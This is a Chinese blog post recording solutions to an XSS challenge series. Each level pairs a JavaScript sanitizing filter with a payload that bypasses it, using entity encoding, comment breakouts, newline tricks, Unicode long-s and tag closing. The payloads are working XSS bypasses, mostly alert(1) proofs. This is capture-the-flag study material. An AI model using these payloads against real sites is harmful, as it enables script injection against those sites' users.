xss实战-------要点记录

这篇博客详细记录了XSS实战中的多种过滤策略,包括()过滤、HTML注释问题、标签内on/auto字段过滤、尖括号过滤、style标签XSS、src属性限定等,并探讨了各种绕过方法,如编码、换行、事件利用等。

一、过滤()`

1.()被过滤

服务端代码

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

由于()被过滤,考虑编码绕过。

攻击代码

<iframe onmouseover=javascript:alert&#40;&#49;&#41;>

2.html 注释问题

a.服务端代码

function render (input) {
  input = input.replace(/-->/g, '?')
  return '<!-- ' + input + ' -->'
}

b.攻击代码

–>以及–!>均可结束注释

---!><script>alert(1)</script>

3.标签内过滤on/auto开头字段及尖括号>

a.服务端代码

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

b.攻击代码

通过换行避开正则。

type="image" src="xx" onmouseover
="alert(1)"

4.过滤</,<

a.服务端代码

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

b.攻击代码

考虑到尖括号<>成对会被闭合,根据情况,可以省写>。

<iframe onmouseover=javascript:alert(1)

5.style标签内XSS

a.服务端代码

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

b.攻击代码

由于正常闭合会被编码,考虑避开正则。

</style
>
<script>alert(1)</script>

6 src限定

a.服务端代码

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

b.攻击代码

限定尾部未要求,考虑闭合标签

https://www.segmentfault.com"></script><script>alert(1)//

7.&’ " < > \均被编码

a.服务端代码并限定url

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

b.攻击代码

考虑外部引入(个人未解出)

https://www.segmentfault.com@xx.xx.xx.xx/1.html

8. 大写绕过

a.服务端代码

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

b.攻击代码

考虑编码—+

<svg><script>&#97;&#108;&#101;&#114;&#116;(1)</script>

html标签 , 域名 不区分大小写.

<script src="data:text/javascript,&#97;&#108;&#101;&#114;&#116;(1)"></script>

<script src="https://xss.haozi.me/j.js"></script>

9 过滤大小写,script

a.服务端代码

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

b.攻击代码

考虑on事件+编码

<iframe onmouseover=&#97;&#108;&#101;&#114;&#116;(1)>

10. </" ’ 过滤

a.服务端代码

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

b.攻击代码

考虑// 仅仅是单行注释。换行绕过。 -->在JS中可以注释一行

alert(1)
-->

11.标签首字母被编码并大写

a.服务端代码

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

b.攻击代码

完全没想到,给跪了。拉丁文。ſ----s小写。

<ſvg>
<ſcript>&#97;&#108;&#101;&#114;&#116;(1)</ſcript>

12.& ‘ " < > \过滤

a.服务端代码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

b.攻击代码

由于img标签内先html解析,后url解析,有处理但没用。

');alert(1)//

13.

a.服务端代码

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

b.攻击代码

无过滤

alert(1)

14," ’ / < > 各种空白符过滤

a.服务端代码

function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

b.攻击代码

由于仅仅是多斜杆式处理,”与"实际闭合没区别。

");alert(1)//

结果:

<script>
  var url = 'javascript:console.log("\");alert(1)\/\/")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>

15.JS处理 "

a.服务端代码

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

b.攻击代码

考虑闭合,由于反斜杠存在 console.log中,因此闭合原标签。

1");
</script><script>alert(1);
//
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值